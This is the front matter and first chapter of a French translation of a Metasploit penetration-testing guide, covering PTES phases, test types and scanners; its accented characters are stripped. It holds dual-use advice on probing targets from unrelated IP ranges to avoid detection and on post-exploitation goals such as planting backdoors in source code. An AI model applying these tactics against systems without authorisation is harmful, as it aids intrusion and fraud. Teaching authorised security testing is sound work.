Hacking, Securite Et Tests D'intrusion Avec Metasploit

Avertissement
Dans cet ebook, la taille de la police de caractre utilise pour le code a

t rduite et optimise afin de respecter au mieux l'indentation des lignes
de code et d'assurer leur bonne lisibilit. Si vous souhaitez agrandir la
police lors de votre lecture, nous vous invitons tre vigilants sur les
csures, sauts de lignes, et ruptures d'indentation qui pourraient en
dcouler.
Pearson France ne pourra en aucun cas tre tenu pour responsable des
prjudices ou dommages de quelque nature que ce soit pouvant rsulter
de lutilisation de ces exemples ou programmes.

Tous les noms de produits ou marques cits dans ce livre sont des
marques dposes par leurs propritaires respectifs.

Publi par Pearson France
Immeuble Terra Nova II
15 rue Henri Rol-Tanguy
93100 Montreuil
Tl. : +33(0)1 43 62 31 00
www.pearson.fr

Mise en pages : Desk
Relecteur technique : Luc Roubat

ISBN dition imprime : 978-2-7440-2597-6
ISBN dition numrique : 978-2-7440-5690-1
Copyright 2013 Pearson France

Tous droits rservs

Titre original : Metasploit The Penetration Tester: Guide, by David
Kennedy, Jim OGorman, Devon Kearns and Mati Aharoni, published
by No Starch Press

Traduit de lamricain par Yuri Sakharov (Fondateur et Administrateur
de hackademics.fr) et Cyprien Chaussade (Super-Modrateur de
hackademics.fr)

Avec laide de Jean-Christophe Pellat (Administrateur de
hackademics.fr) et Laurent Hamel (Fondateur et Administrateur de
hackademics.fr)

http://hackademics.fr French White Hat Hackers Community

ISBN original : 9781593272883
Copyright original : 2011 by David Kennedy, Jim OGorman,
Devon Kearns, and Mati Aharoni

Aucune reprsentation ou reproduction, mme partielle, autre que celles
prvues larticle L. 122-5 2 et 3 a) du code de la proprit
intellectuelle ne peut tre faite sans lautorisation expresse de Pearson
Education France ou, le cas chant, sans le respect des modalits
prvues larticle L. 122-10 dudit code.

No part of this book may be reproduced or transmitted in any form or by
any means, electronic or mechanical, including photocopying, recording
or by any information storage retrieval system, without permission from
Pearson Education, Inc.
Avant-propos
La technologie de linformation est un domaine complexe, jonch de
technologies dsutes et un amas de nouveaux systmes, logiciels et
protocoles de plus en plus consquents. La scurisation des rseaux
dentreprise daujourdhui implique plus que la simple gestion des patchs,
des firewalls et de la formation des utilisateurs : elle ncessite souvent
une confrontation au monde rel afin de comprendre ce qui fonctionne et
ce qui ne fonctionne pas, ou plus. Cest ce que reprsente le pentest.
Le pentest est une tche particulirement difficile. Vous tes pay pour
penser comme un criminel, utiliser des tactiques de gurilla votre
avantage et trouver les plus faibles maillons dans un filet trs complexe
de dfenses. Les choses que vous trouvez peuvent tre la fois
surprenantes et inquitantes ; les tests de pntration ratissent tout, des
sites pornographiques trash la fraude grande chelle et lactivit
criminelle.
Les tests de pntration doivent ignorer la perception dune entreprise sur
sa scurit et sonder les faiblesses de ses systmes. Les donnes obtenues
partir dun test de pntration russi mettent souvent jour des
problmes quaucun examen de larchitecture ou de lvaluation de la
vulnrabilit ne seraient en mesure didentifier. Les rsultats typiques
incluent des mots de passe partags, des rseaux interconnects et des
monceaux de donnes sensibles en clair. Les problmes crs par une
administration de systme bcle et des implmentations prcipites
laissent souvent place des menaces importantes pour une entreprise,
alors que les solutions se morfondent dans une douzaine de points sur la
liste des tches dun administrateur. Les tests de pntration mettent en
vidence ces priorits mal places et identifient ce que lentreprise doit
faire pour se dfendre contre une intrusion relle.
Les pentesters grent les ressources les plus sensibles dune entreprise, ils
ont accs des zones qui peuvent avoir des consquences dsastreuses
dans le monde rel si une mauvaise action est effectue. Un seul paquet
gar peut entraner larrt dune chane dusine avec un cot mesur en
millions de dollars par heure. Ne pas en aviser le personnel concern
peut aboutir une conversation dsagrable et embarrassante avec la
police locale. Les systmes mdicaux sont un domaine que mme les
professionnels de scurit les plus expriments peuvent hsiter tester.
En effet, personne ne souhaite tre responsable du mlange du groupe
sanguin dun patient dans un mainframe OpenVMS ou de la corruption de
la mmoire dune machine rayons X fonctionnant sous Windows XP.
Les systmes les plus critiques sont souvent les plus exposs, et quelques
administrateurs systmes ne veulent pas risquer une panne en ramenant
un serveur de base de donnes pour appliquer un correctif de scurit.
quilibrer lutilisation des chemins dattaque disponibles et le risque de
causer des dommages est une comptence que tous les pentesters doivent
perfectionner. Ce processus ne repose pas seulement sur une
connaissance technique des outils et des techniques, il repose galement
sur une solide comprhension de la faon dont lentreprise est implante
et de lendroit o se trouve le chemin de moindre rsistance.
Dans ce livre, vous verrez des tests de pntration travers les yeux de
quatre professionnels de la scurit, venant dhorizons trs divergents.
Les auteurs ont la fois une grande exprience des structures de scurit
dentreprises ainsi que de lunderground, dans le dveloppement
dexploits et la recherche underground de vulnrabilits. Il y a un certain
nombre de livres disponibles sur le pentest et sur lvaluation de la
scurit, et il y en a beaucoup qui se concentrent entirement sur des
outils. Ce livre, cependant, sefforce de trouver un quilibre entre les
deux, qui couvre les outils et les techniques fondamentaux tout en
expliquant comment ils jouent dans la structure globale dun processus de
test de pntration russi. Les pentesters expriments bnficieront de la
mthodologie, qui est base sur le PTES (standard dexcution des tests
de pntration) rcemment codifi. Les lecteurs qui sont nouveaux dans
le domaine auront accs une richesse dinformations, non seulement sur
la faon dont dmarrer, mais galement sur la raison de limportance de
ces tapes et sur ce quelles signifient plus grande chelle.
Ce livre se concentre sur le Framework Metasploit. Cette plate-forme
open source fournit une bibliothque cohrente et fiable dexploits
constamment mise jour et offre un environnement de dveloppement
complet pour la construction de nouveaux outils permettant dautomatiser
tous les aspects dun pentest. Metasploit Express et Metasploit Pro, les
pendants commerciaux du Framework, sont galement reprsents dans
ce livre. Ces produits offrent une perspective diffrente sur la faon de
mener et dautomatiser les tests de pntration grande chelle.
Le Framework Metasploit est un projet dune incroyable volatilit ; la
base du code est mise jour des dizaines de fois chaque jour par un
noyau dur de dveloppeurs et les soumissions de centaines de
contributeurs de la communaut. crire un livre sur le Framework est une
entreprise masochiste, puisquau moment o un chapitre donn a t
corrig, son contenu peut dj tre dpass. Les auteurs ont entrepris la
tche herculenne de la rdaction de ce livre de telle manire que le
contenu sera encore applicable au moment o il atteindra ses lecteurs.
Lquipe Metasploit a t implique dans ce livre afin de sassurer que
les modifications apportes au code sont refltes avec prcision et que
le rsultat final est aussi proche de la couverture du Framework
Metasploit au jour zro, autant quil soit humainement possible. Nous
pouvons affirmer en toute confiance quil sagit du meilleur guide pour le
Framework Metasploit disponible ce jour, et quil le restera pour
longtemps. Nous esprons que vous trouverez ce livre prcieux pour
votre travail et quil deviendra une excellente rfrence dans les
preuves venir.
HD Moore
Fondateur, Le Projet Metasploit
Prface
Le framework Metasploit est depuis longtemps lun des outils les plus
utiliss par les professionnels de la scurit de linformation, mais
pendant longtemps peu de documentation a exist hormis le code source
lui-mme ou des commentaires sur des blogs. Cette situation a chang de
faon significative lorsque Offensive-Security a dvelopp son cours en
ligne, Metasploit Unleashed. Peu de temps aprs la mise en service du
cours, No Starch Press nous a contacts au sujet de la possible rdaction
dun livre afin dtendre notre travail commenc avec Metasploit
Unleashed.
Ce livre est conu pour vous apprendre les tenants et les aboutissants de
Metasploit et la manire dutiliser le framework son maximum. Notre
approche est slective : nous ne couvrirons pas chaque option ou exploit,
mais nous vous donnerons les bases dont vous aurez besoin pour
comprendre et utiliser cette version de Metasploit ainsi que ses
prochaines.
Lorsque nous avons commenc crire ce livre, nous avions en tte un
commentaire de HD Moore, dveloppeur du framework Metasploit. Dans
une conversation avec HD sur le dveloppement de notre cours sur
Metasploit Unleashed, lun de nous lui a dit : "Jespre que le cours rend
bien". ce commentaire dsinvolte, HD se contenta de rpondre :
"Alors, assurez-vous quil est bon". Et cest exactement ce que nous
avons essay de faire avec ce livre.
Nous sommes un groupe de pentesters expriements sous Metasploit ;
nous lutilisons quotidiennement pour contourner mthodiquement des
contrles de scurit, des protections de drivation et des systmes
dattaque. Nous avons crit ce livre avec lintention daider nos lecteurs
devenir des pentesters comptents. HD se concentre sur la qualit, ce
qui se voit dans le framework Metasploit ; nous avons essay de faire de
mme dans ce livre. Nous vous laissons seuls juges du respect de cette
trame.
Remerciements
Nous tenons remercier un certain nombre de personnes, commencer
par les gens dont le travail acharn offre la communaut un outil
prcieux. Un merci spcial lquipe Metasploit : HD Moore, James
Lee, David D. Rude II, Tod Beardsley, Jonathan Cran, Stephen Fewer,
Joshua Drake, Mario Ceballos, Ramon Valle, Patrick Webster, Efrain
Torres, Alexandre Maloteaux, Wei Chen, Steve Tornio, Nathan Keltner,
Chris Gates, Carlos Perez, Matt Weeks et Raphael Mudge. Un autre
merci Carlos Perez pour son aide dans la rdaction des parties du
chapitre sur le scripting sous Meterpreter.
Un grand merci Scott White, rviseur technique de ce livre, pour avoir
t impressionnant.
Merci Offensive-Security de nous avoir tous rassembls. Le slogan
dOffensive-Security, "Try Harder", nous inspire et nous torture la fois
(ryujin est le mal).
Nous avons beaucoup dautres membres de la communaut de la scurit
de linformation remercier, mais il y sont trop nombreux pour tre
numrs et les chances doublier quelquun sont leves. Donc, merci
nos amis de la communaut de la scurit.
Un merci tout spcial toute lquipe de No Starch Press pour leur effort
incommensurable. Bill, Alison, Travis et Tyler, ce fut un plaisir de
travailler avec vous et tous ceux dans les coulisses de No Starch Press !
Enfin, un grand merci nos familles. Nous sommes tous maris et la
moiti dentre nous ont des enfants. Nous avons trop les doigts marqus
du plastique de nos claviers et ne passons pas assez de temps avec eux.
Pour nos familles, merci pour votre comprhension, nous vous le
rendrons Ds que nous mettrons jour cette ligne de code, ou
trouverons la source de cette corruption de mmoire, ou terminerons
cette mise jour dsvn, ou obtiendrons lexcutable de ce nouveau
fuzzer, ou...
Remerciements spciaux
Dave (Twitter: @dave_rel1k) : je ddie mon travail sur cet ouvrage ma
femme Erin, qui a su tolrer des nuits entires passes taper sur mon
clavier. mes trois enfants, qui me gardent jeune et vieux la fois.
mon pre Jim ; ma mre Jana ; et ma belle mre, Deb, pour avoir t l
pour moi, et avoir fait de moi ce que je suis aujourdhui. Merci Jim,
Dookie et Muts pour leur dur travail sur le livre et aussi pour tre de
vritables amis ! mes bons amis dOffensive-Security ; Chris "Logan"
Hadnagy ; mon frre, Shawn Sullivan ; et mon quipe Diebold. mon
bon ami HD Moore, dont le dvouement lindustrie de la scurit est
une inspiration pour nous tous. tous mes amis, et Scott Angelo pour
mavoir donn une opportunit et avoir cru en moi. Enfin, Dieu, sans
qui tout cela ne serait pas possible.
Devon (@dookie2000ca) : pour ma belle et tolrante femme, qui non
seulement supporte, mais encourage ma passion. Tu es mon inspiration et
motivation; sans toi mes cts dans ces activits, je narriverais nulle
part. mes coauteurs, merci davoir eu foi en un nouveau venu, et de
mavoir accueilli comme lun des vtres. Enfin, un dernier grand merci
Mati non seulement pour avoir rassembl cette joyeuse bande ensemble,
mais aussi pour mavoir donn une chance.
Muts (@Backtracklinux) : un merci spcial pour les coauteurs de ce livre,
dont la patience et la dvotion sont une vritable inspiration. Je compte
Jim, Devon et Dave parmi mes trs bons amis et collgues dans le secteur
de la scurit.
Jim (@_Elwood_) : merci Matteo, Chris "Logan", et toute lquipe
dOffensive Security. Aussi un grand merci Robert, Matt, Chris et mes
collgues chez StrikeForce.
Et mon incroyable pouse Melissa : le livre que tu tiens entre tes mains
est la preuve que je nvitais pas la maison en permanence. Joe et Jake,
ne dites pas votre mre que je ne fais que jouer avec vous quand je lui
dis que je travaille. Vous trois tes la force motrice de ma vie.
Enfin, merci mes coauteurs Mati, Devon, et Dave : merci de mavoir
laiss mettre mon nom dans ce livre, je ne faisais quviter les tches
mnagres.
Introduction
Imaginez que dans quelque temps, dans un futur pas si lointain, un
attaquant dcide dattaquer les biens digitaux dune multinationale,
ciblant des droits de proprit intellectuelle de plusieurs centaines de
milliers de dollars, enfouis dans une infrastructure de plusieurs millions de
dollars. Naturellement, lattaquant commence par lancer la dernire
version de Metasploit. Aprs avoir explor le primtre de la cible, il
trouve un point faible et commence une srie mthodique dattaques,
mais mme aprs avoir compromis prs de tous les aspects du rseau, le
jeu ne fait que commencer. Il manoeuvre travers les systmes,
identifiant les composants centraux et cruciaux de lentreprise qui lui
permettent de vivre. Avec une seule touche, il peut semparer de millions
de dollars de lentreprise, et compromettre toutes leurs donnes sensibles.
Bienvenue dans le monde des pentests et le futur de la scurit.
Pourquoi faire un pentest ?
Les entreprises investissent des millions de dollars dans des programmes
de scurit pour protger des infrastructures critiques, identifier les
fentes dans larmure et prvenir dimportantes fuites de donnes. Un
pentest est un des moyens les plus efficaces pour identifier les faiblesses
systmiques et les dficiences dans ces programmes. En tentant de
contourner les contrles de scurit et desquiver les mcanismes de
scurit, un pentesteur est capable didentifier les voies par lesquelles un
pirate pourrait compromettre la scurit dune entreprise et
lendommager dans son ensemble.
En lisant ce livre, souvenez-vous que vous ne ciblez pas ncessairement
un ou plusieurs systmes. Votre but est de montrer, de manire sre et
contrle, comment un attaquant pourrait causer de srieux dgts dans
lentreprise et impacter sa capacit, entre autres choses, gnrer des
revenus, maintenir sa rputation et protger ses clients.
Pourquoi Metasploit ?
Metasploit nest pas quun outil. Cest tout un cadre qui fournit
linfrastructure ncessaire pour automatiser les tches mondaines,
routinires ou complexes. Cela vous permet de vous concentrer sur les
aspects uniques ou spciaux dun pentest, et didentifier les failles dans
vos programmes de scurit.
En progressant dans les chapitres de ce livre, grce une mthodologie
bien huile, vous commencerez voir les nombreuses faons dont
Metasploit peut tre utilis lors de vos pentests. Metasploit vous permet de
btir facilement des vecteurs dattaques pour amliorer ses exploits,
payloads, encodeurs et bien plus afin de crer et excuter des attaques
plus avances. Dans ce livre, nous prsentons des outils tiers dont
certains ont t crits pas les auteurs de ce livre qui se servent de
Metasploit comme base. Notre but est de vous rendre accessible le
framework, vous montrer des attaques avances et sassurer que vous
pouvez appliquer ces techniques de faon responsable. Nous esprons
que vous prendrez plaisir lire ce livre autant que nous avons eu plaisir
de le crer. Que les jeux et la joie commencent !
Un bref historique de Metasploit.
Metasploit a dabord t conu et dvelopp par HD Moore alors quil
travaillait pour une entreprise de scurit. Quand HD a ralis quil
passait le plus clair de son temps valider et assainir des codes dexploits
publics, il a commenc crer un cadre flexible et facile de maintien
pour la cration et le dveloppement dexploits. Il publia sa premire
version de Metasploit crite en Perl en octobre 2003, avec un total de 11
exploits.
Avec laide de Spoonm, HD a publi un projet totalement rcrit,
Metasploit 2.0, en avril 2004. Cette version incluait 19 exploits et plus de
27 payloads. Peu aprs cette publication, Matt Miller (Skape) a rejoint
lquipe de dveloppement de Metasploit, et alors que le projet gagnait en
popularit, Metasploit Framework a reu un fort soutien de la
communaut de la scurit de linformation et est vite devenu un outil
ncessaire pour le pentest et lexploitation.
Suivant une rcriture complte en langage Ruby, lquipe Metasploit
publia Metasploit 3.0 en 2007. La migration de Perl vers Ruby prit 18 mois
et ajouta plus de 150 000 lignes de nouveau code. Avec la sortie de 3.0,
Metasploit a t massivement adopt par la communaut de la scurit, et
a vu grandir le nombre de ses contributions utilisateur.
lautomne 2009, Metasploit a t rachet par Rapid7, un leader dans le
domaine du scan de vulnrabilit, ce qui a permis HD de crer une
quipe pour se concentrer uniquement sur le dveloppement de
Metasploit Framework. Depuis lacquisition, les mises jour sont faites
plus rapidement que quiconque naurait pu limaginer. Rapid7 a publi
deux produits commerciaux bass sur Metasploit Framework : Metasploit
Express et Metasploit Pro. Metasploit Express est une version plus lgre
de Metasploit Framework, avec une GUI et des fonctionnalits
supplmentaires, incluant notamment la rdaction de rapports, entre
autres fonctions utiles. Metasploit Pro est une version largie de
Metasploit Express, qui peut se vanter de faire de la collaboration, de
lintrusion en groupe et dencore bien dautres fonctionnalits, quelque
chose daussi simple quun clic grce, entre autres, un tunnel VPN
(rseau priv virtuel).
propos de ce livre
Ce livre est fait pour tout vous apprendre depuis les fondamentaux du
framework jusquaux techniques avances dexploitation. Notre but est
de fournir un tutoriel utile pour les dbutants, et une rfrence pour les
praticiens. Cependant, nous ne vous tiendrons pas toujours par la main.
Savoir programmer est un avantage certain dans le domaine du pentest, et
beaucoup dexemples de ce livre utiliseront le Ruby ou le Python. Ceci
dit, bien que nous vous recommandions lapprentissage dun langage tel
que le Python ou Ruby pour vous aider dans lexploitation avance et la
personnalisation des attaques, savoir programmer nest pas un prrequis.
Lorsque vous serez plus familiaris avec Metasploit, vous remarquerez
que le framework est souvent mis jour avec de nouvelles
fonctionnalits, exploits et attaques. Ce livre a t conu tout en sachant
que Metasploit change continuellement et quaucun livre imprim nest
capable de se maintenir au rythme de ce dveloppement rapide. Nous
nous concentrons alors sur les fondamentaux, parce quune fois que vous
aurez compris comment fonctionne Metasploit, vous serez capable de
vous adapter aux mises jour du framework.
Quy a-t-il dans ce livre ?
Comment ce livre peut vous aider commencer, ou amener vos
comptences au niveau suprieur ? Chaque chapitre est conu pour
reprendre le prcdent et vous aider btir vos comptences en tant que
pentester depuis les fondations.
Chapitre 1 "Les bases du test dintrusion", tablit la mthodologie du
pentest.
Chapitre 2 "Les bases de Metasploit", est votre introduction aux divers
outils du Metasploit Framework.
Chapitre 3 "Collecte de renseignements", vous montre les faons dutiliser
Metasploit dans la phase de reconnaissance dun test.
Chapitre 4 "Le scan de vulnrabilit", vous dcrit lidentification de
vulnrabilits et lutilisation des technologies de scan.
Chapitre 5 "Les joies de lexploitation", vous lance dans lexploitation.
Chapitre 6 "Meterpreter", vous dcrit le vritable couteau suisse de la
postexploitation : Meterpreter.
Chapitre 7 "viter la dtection", se concentre sur les concepts sous-
jacents des techniques dvasion dantivirus.
Chapitre 8 "Exploitation utilisant les attaques ct client", couvre
lexploitation ct client et les bugs de navigateurs.
Chapitre 9 "Metasploit : les modules auxiliaires", vous dcrit les modules
auxiliaires.
Chapitre 10 "La bote outils du social engineer (Social Engineer
Toolkit SET)", est votre guide pour utiliser SET dans les attaques
dingnierie sociale.
Chapitre 11 "FAST-TRACK", vous offre une couverture complte de
FastTrack, une infrastrucure automatise de pentest.
Chapitre 12 "Karmetasploit", vous montre comment utiliser Karmetasploit
pour des attaques sans-fil.
Chapitre 13 "Construire votre propre module", vous apprend construire
votre propre module dexploitation.
Chapitre 14 "Crer votre propre exploit", couvre le fuzzing et la cration
de modules dexploits pour buffer overflows.
Chapitre 15 "Porter des exploits sur le Framework Metasploit", est une
regard en profondeur sur la manire de porter des exploits existants en
modules Metasploit.
Chapitre 16 "Scripts Meterpreter", vous montre comment crer vos
propres scripts Meterpreter.
Chapitre 17 "Simulation de pentest", rassemble tout ce que nous avons vu
lors dune simulation de pentest.
Une note sur lthique.
Notre but en crivant ce livre est de vous aider amliorer vos
comptences en tant que pentester. En tant que pentesteur, vous viterez
des mesures de scurit ; cela fait partie de votre travail. Ce faisant,
gardez cela lesprit :
- Ne soyez pas malicieux
- Ne soyez pas stupide.
- Nattaquez pas de cible sans permission crite.
- Considrez les consquences de vos actions.
- Si vous faites les choses dans lillgalit, vous pourriez tre pris et finir
en prison !
Ni les auteurs de cet ouvrage, ni No Starch Press, son diteur,
nencouragent ni ne tolrent la mauvaise utilisation des techniques de
pntration prsentes ici. Notre but est de vous rendre plus malin, pas de
vous aider vous attirer des ennuis, parce que nous ne serons pas l pour
vous aider vous en sortir.
1
Les bases du test dintrusion
Sommaire
Les phases du PTES : Penetration Testing Execution
Standard
Types de tests dintrusion
Scanners de vulnrabilit
Les tests dintrusion sont un moyen de simuler les mthodes quune
personne malveillante pourrait utiliser pour tromper les systmes de
contrle dune organisation et gagner laccs ses systmes. Les tests
dintrusion reprsentent plus que lexcution dun scanner et doutils
automatiss pour ensuite rdiger un rapport. Vous ne serez pas un expert
de la scurit informatique du jour au lendemain ; il faut des annes de
pratique pour tre comptent.
Actuellement, il y a un changement dans la faon dont les gens
considrent et dfinissent les tests de pntration dans lindustrie de la
scurit informatique. Le standard dexcution des tests de pntration
(PTES, Penetration Testing Execution Standard) a redfini les tests
dintrusion de faon influencer les nouveaux testeurs dinfiltration
comme les plus chevronns, et a t adopt par plusieurs membres
minents de la communaut de la scurit informatique. Son objectif est
de dfinir ce quest un vritable test dintrusion et dy sensibiliser cette
communaut en tablissant une base de principes fondamentaux
ncessaires au bon droulement dun test. Si vous tes nouveau dans le
domaine de la scurit informatique ou si la notion du PTES vous est
inconnue, nous vous recommandons de vous rendre sur
http://www.pentest-standard.org/ pour en savoir plus.
Les phases du PTES
Les phases du PTES sont conues pour dfinir le droulement standard
dun test dintrusion et assurer lorganisation cliente que les efforts
ncessaires seront consacrs par quiconque effectuera ce type
dvaluation. Ce standard est divis en sept catgories avec diffrents
niveaux deffort requis pour chacune des tches, en fonction de
lorganisation attaquer.
Prengagement
Cela se produit gnralement lors de vos discussions propos de la porte
et des modalits du test dintrusion avec votre client. Il est essentiel au
cours du prengagement que vous prsentiez les objectifs de votre
travail. Cette tape sera loccasion pour vous dexpliquer vos clients ce
qui doit tre attendu dun test de pntration complet sans restrictions
sur ce qui peut et sera test durant lengagement.
Collecte de renseignements
Lorganisation que vous attaquez en utilisant les rseaux sociaux, le
Google hacking, les donnes laisses par la cible, etc. Lune des
comptences les plus importantes dun testeur dintrusion est sa capacit
acqurir le plus dinformations possible sur la cible, y compris la faon
dont elle opre, comment elle fonctionne et comment elle peut tre
attaque. Les informations recueillies sur la cible vous donneront de
prcieux renseignements sur les types de contrles de scurit mis en
place.
Lors de la collecte de renseignements, vous essayez didentifier les types
de mcanismes qui protgent la cible en commenant lentement sonder
ses systmes. Par exemple, une organisation, dans la plupart des cas,
nautorise pas le trafic en provenance dappareils extrieurs sur un
certain nombre de ports : si vous tentez de communiquer avec ses
services sur un port exclu de la liste, vous serez bloqu. Gnralement,
une bonne ide est de tester le comportement du filtrage par un premier
sondage partir dune adresse IP sacrifiable que vous acceptez de voir
dtecte ou bloque. Il en est de mme si vous testez des applications
web, o, aprs un certain seuil, le firewall applicatif vous empche
deffectuer dautres requtes.
Pour passer inaperu lors de ces tests, vous pouvez faire les premiers
partir dune plage dadresses IP non relies votre quipe. En rgle
gnrale, les organisations phares relies Internet sont attaques tous
les jours, et votre premier sondage sera probablement une partie non
dtecte du bruit de fond.
Note
Dans certains cas, il peut tre judicieux dexcuter des scans depuis une
plage dadresses IP autre que celle que vous utiliserez pour lattaque
principale. Cela vous aidera dterminer lefficacit de lorganisation
rpondre aux outils que vous employez.
Dtermination de la menace
La dtermination des menaces requiert les informations acquises lors de
la phase de collecte afin didentifier les vulnrabilits existantes sur un
systme cible. Ds lors, vous choisirez la mthode dattaque la plus
efficace, le type dinformations qui vous intresse et comment la cible
pourrait tre attaque. La dtermination des menaces consiste examiner
lorganisation tel un adversaire et tenter dexploiter les faiblesses
comme le ferait un attaquant.
Analyse des vulnrabilits
Ayant identifi les mthodes dattaques les plus efficaces, vous devez
envisager la faon dont vous accderez la cible. Durant lanalyse des
vulnrabilits, vous combinez les informations que vous avez apprises
lors des phases antrieures pour dterminer quelles attaques seraient
efficaces. Lanalyse de vulnrabilits prend en compte notamment les
scans de ports et de vulnrabilits, les donnes collectes via la
consultation de bannires de services rseau et des informations
recueillies lors de la collecte de renseignements.
Lexploitation
Lexploitation est probablement lune des parties les plus prestigieuses
dun test dintrusion, mme si elle est, la plupart du temps, effectue par
brute force plutt quavec prcision. Un exploit doit tre ralis
uniquement lorsque vous savez sans lombre dun doute que votre
tentative sera couronne de succs. Cependant, des mesures de
protection peuvent empcher un exploit de fonctionner sur la cible mais
avant de profiter dune vulnrabilit, vous devez savoir que le systme
est vulnrable. Lancer aveuglment une masse dexploits et prier pour un
shell nest nullement productif, cette mthode indiscrte noffre gure
dintrt pour vous, en tant que testeur dintrusions, ou pour votre client.
Faites votre travail de recherche dabord, puis, lancez les exploits
susceptibles de russir.
Post exploitation
La phase de post exploitation commence aprs avoir compromis un ou
plusieurs systmes, mais vous tes loin den avoir fini.
Cette phase est un lment essentiel de tout test de pntration. Cest l
que vous vous dmarquerez de la plupart des hackers ordinaires et
fournirez efficacement des renseignements prcieux grce vos tests.
Lors de cette phase, vous viserez des systmes spcifiques, identifierez
les infrastructures critiques et vous intresserez aux informations ou
donnes que la cible a tent de scuriser. Lorsque vous exploitez un
systme aprs lautre, vous essayez de dmontrer les attaques qui auront
le plus de rpercussions sur les affaires de lorganisation cible.
Si vous vous attaquez des systmes pendant la phase de post
exploitation, vous devez prendre le temps de dterminer ce quils font
ainsi que leurs rles. Supposons, par exemple, que vous compromettiez
linfrastructure du systme dun domaine et que vous puissiez
ladministrer ou que vous obteniez tous les droits dadministration. Vous
pourriez tre un super utilisateur de ce domaine, mais que dire des
systmes qui communiquent laide dActive Directory ? Quen est-il de
lapplication financire principale utilise pour payer les employs ?
Pourriez-vous compromettre le systme pour ensuite, la prochaine
paye, acheminer tout largent de la socit sur un compte offshore ? Quid
de la proprit intellectuelle de la cible ?
Supposons, par exemple, que votre cible soit une entreprise de
dveloppement de logiciels qui produit des applications sur mesure ses
clients pour une utilisation dans des environnements industriels. Pouvez-
vous introduire un backdoor dans son code source et ainsi compromettre
la totalit de ses clients ? Quelles seraient les consquences sur la
crdibilit de la marque ?
La phase de post exploitation est un de ces moments difficiles pendant
lesquels vous devez prendre le temps dtudier les informations votre
disposition pour ensuite les utiliser votre avantage. Un attaquant ferait
de mme. Pensez tel un vrai pirate informatique, faites preuve de
crativit, ayez le rflexe de vous adapter rapidement et comptez sur
votre intelligence plutt que sur les quelques outils automatiss dont vous
disposez.
Le rapport
Le rapport est de loin llment le plus important dun test de pntration.
Vous allez le rdiger pour communiquer ce que vous avez fait, comment
vous lavez fait, et, plus important, comment lorganisation pourrait
corriger les vulnrabilits que vous avez dcouvertes.
Lorsque vous effectuez un test de pntration, vous travaillez partir du
point de vue dun attaquant, ce que les organisations voient rarement. Les
informations que vous obtenez durant vos tests sont indispensables la
russite du programme de scurit pour arrter les attaques futures.
Lorsque vous rapportez vos rsultats, pensez la faon dont
lorganisation pourrait les utiliser afin de corriger les problmes
dcouverts et damliorer la scurit globale plutt que de patcher les
vulnrabilits techniques.
Divisez votre rapport : au moins un rsum, une prsentation ainsi que les
rsultats techniques. Ces rsultats seront utiliss par le client pour
remdier aux failles de scurit, cest aussi l que se trouve la valeur
dun test de pntration. Par exemple, si vous trouvez une faille dans les
applications web du client permettant lutilisation dune injection SQL,
vous pourriez recommander votre client de valider toutes les entres
utilisateur, forcer les requtes SQL paramtres, excuter SQL en tant
quutilisateur limit et activer les messages derreur personnaliss.
Sont-ils vraiment protgs contre toute injection SQL aprs la mise en
uvre de vos recommandations et la fixation de la vulnrabilit ? Non.
Un problme sous-jacent a sans doute caus cette vulnrabilit en
premier lieu, comme la fiabilit des applications tierces. Celles-ci devront
tre corriges galement.
Types de tests de pntration
Maintenant que vous avez une comprhension de base des sept
catgories du PTES, nous allons examiner les deux types principaux de
tests dintrusion : visibles (bote blanche) et invisibles (bote noire). Un
test de type bote blanche (ou test white hat) est ralis en accord avec
lorganisation qui a t pralablement avertie, un test de type bote noire
est conu pour simuler les actions dun attaquant inconnu survenu
limproviste. Les deux types de tests prsentent des avantages et des
inconvnients.
Test de pntration de type bote blanche
Lors dun test de pntration de type bote blanche, vous travaillez avec
lorganisation pour identifier les menaces potentielles. Ses responsables
de la scurit peuvent vous en montrer les systmes. Lavantage principal
de ce type de test est que vous avez accs aux connaissances de
quelquun de lintrieur et que vous pouvez lancer vos attaques sans
craindre dtre bloqu. Linconvnient est que vous pourriez ne pas avoir
de rsultats exacts en ce qui concerne le programme de scurit et sa
capacit dtecter certaines attaques. Quand le temps est compt et que
certaines tapes du PTES telles que la collecte de renseignements sont
hors de porte, un test de type bote blanche peut tre votre meilleure
option.
Test de pntration de type bote noire
Contrairement aux tests bote blanche, les tests de pntration de type
bote noire permettent de simuler les actions dun attaquant et sont
effectus linsu de lorganisation. Les tests bote noire sont raliss afin
de tester la capacit de lquipe de scurit interne dtecter une
attaque et y rpondre.
Les tests bote noire peuvent tre longs, trs longs, et exigent plus de
comptences que les tests bote blanche. Aux yeux des testeurs
dintrusions dans lindustrie de la scurit, ils sont souvent prfrs
puisquils simulent plus troitement une vritable attaque. Dans ce type de
test compte votre capacit obtenir des informations par reconnaissance.
Par consquent, vous ne tenterez gnralement pas de trouver un grand
nombre de vulnrabilits, mais simplement le moyen le plus facile
daccder un systme sans tre dtect.
Les scanners de vulnrabilit sont des outils automatiss qui servent
identifier les failles de scurit affectant un systme ou une application.
En comparant les empreintes, ils identifient le systme dexploitation de la
cible (la version et le type) ainsi que les services en cours dexcution.
Vous les utiliserez, une fois que vous connatrez le systme dexploitation
de la cible, pour vrifier si des vulnrabilits existent. Bien entendu, ces
tests nont de limites que celle de leurs crateurs, le scanner pouvant
parfois manquer ou fausser les vulnrabilits prsentes sur un systme.
Les plus modernes dentre eux font un travail extraordinaire pour
minimiser les faux positifs. De nombreuses organisations les utilisent pour
identifier les systmes prims ou de nouvelles failles susceptibles dtre
exploites.
Les scanners jouent un rle trs important dans les tests dintrusion, en
particulier dans le cas dun test overt, qui permet de lancer des attaques
multiples sans avoir se soucier dviter la dtection. La richesse des
informations quils proposent est inestimable, mais prenez garde trop
compter sur eux. Limpossibilit dautomatiser un test de pntration fait
toute sa beaut, vous devez disposer de comptences et de connaissances
afin dattaquer un systme avec succs. Lorsque vous deviendrez un
testeur dintrusion expriment, vous aurez rarement loccasion de vous
servir dun scanner de vulnrabilit, vous vous appuierez plus sur votre
exprience et votre expertise afin de compromettre un systme.
En rsum
Si vous tes nouveau dans le domaine de la scurit informatique ou si
vous navez pas encore adopt de mthodologie, tudiez le PTES.
Comme pour toute exprience, lorsque vous effectuez un test dintrusion,
assurez-vous davoir un processus raffin et adaptable qui est aussi
reproductible. En tant que pentesters, vous devez tre certain que votre
collecte de renseignements et vos rsultats sont aussi prcis que possible
afin que vous soyez apte vous adapter tout scnario.
2
Les bases de Metasploit
Sommaire
Terminologie
Les interfaces de Metasploit
Utilitaires de Metasploit
Metasploit Express et Metasploit Pro
